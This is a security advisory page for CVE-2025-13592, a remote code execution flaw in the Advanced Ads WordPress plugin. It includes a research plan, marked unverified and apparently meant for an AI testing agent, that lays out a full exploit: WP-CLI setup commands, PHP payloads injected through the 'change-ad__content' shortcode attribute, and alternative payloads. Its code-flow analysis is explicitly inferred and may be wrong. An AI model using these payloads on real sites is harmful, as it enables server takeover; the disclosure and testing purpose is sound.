CVE-2025-13592

Advanced Ads <= 2.0.14 - Authenticated (Editor+) Remote Code Execution via Shortcode

highImproper Control of Generation of Code ('Code Injection')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
2.0.15
Patched in
1d
Time to patch

Description

The Advanced Ads plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 2.0.14 via the 'change-ad__content' shortcode parameter. This allows authenticated attackers with editor-level permissions or above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.0.14
PublishedDecember 29, 2025
Last updatedDecember 29, 2025
Affected pluginadvanced-ads

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-13592 - Authenticated RCE via Shortcode in Advanced Ads ## 1. Vulnerability Summary The **Advanced Ads** plugin (versions <= 2.0.14) is vulnerable to **Remote Code Execution (RCE)**. The vulnerability exists in the way the plugin processes shortcode attributes, specificall…

Show full research plan

Research Plan: CVE-2025-13592 - Authenticated RCE via Shortcode in Advanced Ads

1. Vulnerability Summary

The Advanced Ads plugin (versions <= 2.0.14) is vulnerable to Remote Code Execution (RCE). The vulnerability exists in the way the plugin processes shortcode attributes, specifically the change-ad__content parameter. This parameter allows an attacker with Editor permissions or higher to override the content of an ad dynamically. If the plugin is configured to allow PHP execution in ads (or if the "Plain Text/Code" ad type is used), this override can be used to inject and execute arbitrary PHP code during the shortcode rendering process.

2. Attack Vector Analysis

  • Authentication Level: Authenticated (Editor or above). Editors can create and publish posts/pages containing shortcodes.
  • Entry Point: The [the_ad] shortcode (or similar ad-related shortcodes like [the_ad_group]).
  • Vulnerable Parameter: change-ad__content attribute within the shortcode.
  • Sink: The rendering logic that processes the ad's content, which likely involves eval() or a similar execution mechanism intended for "Plain Text/Code" ad types.
  • Preconditions: An ad must exist in the system (so the shortcode has a valid ID to reference), and the plugin's shortcode handler must process the change- prefix for attribute overrides.

3. Code Flow (Inferred)

  1. Shortcode Registration: The plugin registers [the_ad] via add_shortcode( 'the_ad', ... ) in public/class-ad-display.php or a similar frontend-facing class.
  2. Attribute Processing: The handler (e.g., Advanced_Ads_Ad_Display::render_ad) parses attributes. It likely iterates through attributes and looks for the prefix change-ad__.
  3. Property Override: For an attribute like change-ad__content="payload", the plugin identifies the target property as content and overwrites the loaded Ad object's $ad->content property with the user-supplied string.
  4. Execution Sink: The plugin calls a method to display the ad (e.g., $ad->display()). If the Ad is treated as "Plain Text/Code", the content is passed through a rendering engine that executes PHP (often for dynamic ad logic), leading to RCE.

4. Nonce Acquisition Strategy

This exploit is Authenticated RCE via content injection.

  • Authentication: The agent must log in as an Editor.
  • Nonce Requirements: Standard WordPress nonces for post creation/publishing are required. Since the agent has access to wp-cli, it can bypass the need for manual nonce extraction by creating the malicious post directly via the command line.
  • Browser-based Triggering: After the post is created via WP-CLI, the agent will use the http_request tool to navigate to the post's URL, triggering the shortcode execution.

5. Exploitation Strategy

Step 1: Authentication & Setup

  1. Create an Editor user using WP-CLI.
  2. Create a "dummy" Ad using WP-CLI to get a valid ID.
  3. Create a WordPress Page/Post containing the malicious shortcode.

Step 2: Payload Construction

The payload will use the change-ad__content attribute to inject PHP.

  • Shortcode: [the_ad id="AD_ID" change-ad__content='<?php system("id"); ?>']
  • Note: If the plugin expects raw PHP without tags, the payload would be system("id");. Both should be tested.

Step 3: Triggering RCE

  1. The agent will perform a GET request to the URL of the post created in Step 1.
  2. The response body will be inspected for the output of the id command (e.g., uid=... gid=...).

6. Test Data Setup

The following commands should be executed in the environment:

# 1. Create an Editor user
wp user create attacker attacker@example.com --role=editor --user_pass=password123

# 2. Create a dummy Ad (Advanced Ads uses 'advanced_ads' post type)
# We set the type to 'plain' which is most likely to trigger the sink
AD_ID=$(wp post create --post_type=advanced_ads --post_title="Base Ad" --post_status=publish --porcelain)

# 3. Create a Page containing the exploit shortcode
# Note: We use the change-ad__content attribute to inject the payload
POST_ID=$(wp post create --post_type=page --post_title="Exploit Page" --post_status=publish \
  --post_content='[the_ad id="'$AD_ID'" change-ad__content="<?php system(\"id; whoami\"); ?>"]' --porcelain)

# 4. Get the URL of the exploit page
POST_URL=$(wp post list --post_type=page --p=$POST_ID --field=url)

7. Expected Results

  • The http_request to POST_URL should return a 200 OK status.
  • The response body should contain the output of the shell command id; whoami.
  • Example output: uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data

8. Verification Steps

  1. Direct Execution Check: Check the response body for the command output.
  2. Filesystem Check (Optional): Update the payload to create a file:
    [the_ad id="AD_ID" change-ad__content='<?php file_put_contents("rce.txt", "vulnerable"); ?>']
  3. Confirm via CLI: Run ls /var/www/html/rce.txt to confirm the file exists.

9. Alternative Approaches

If the <?php ... ?> tags are stripped or the system function is disabled:

  1. Alternative Payload: Try [the_ad id="AD_ID" change-ad__content='${system("id")}'] if the plugin uses a templating engine like Twig or custom regex replacement.
  2. Type Override: Try overriding the ad type as well to ensure the PHP sink is active:
    [the_ad id="AD_ID" change-ad__type="plain" change-ad__content="<?php phpinfo(); ?>"] (The attribute name for type might be change-ad__type or similar).
  3. Shortcode variations: If the_ad fails, try [the_ad_group] or [the_ad_placement] using the same change-ad__content attribute.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.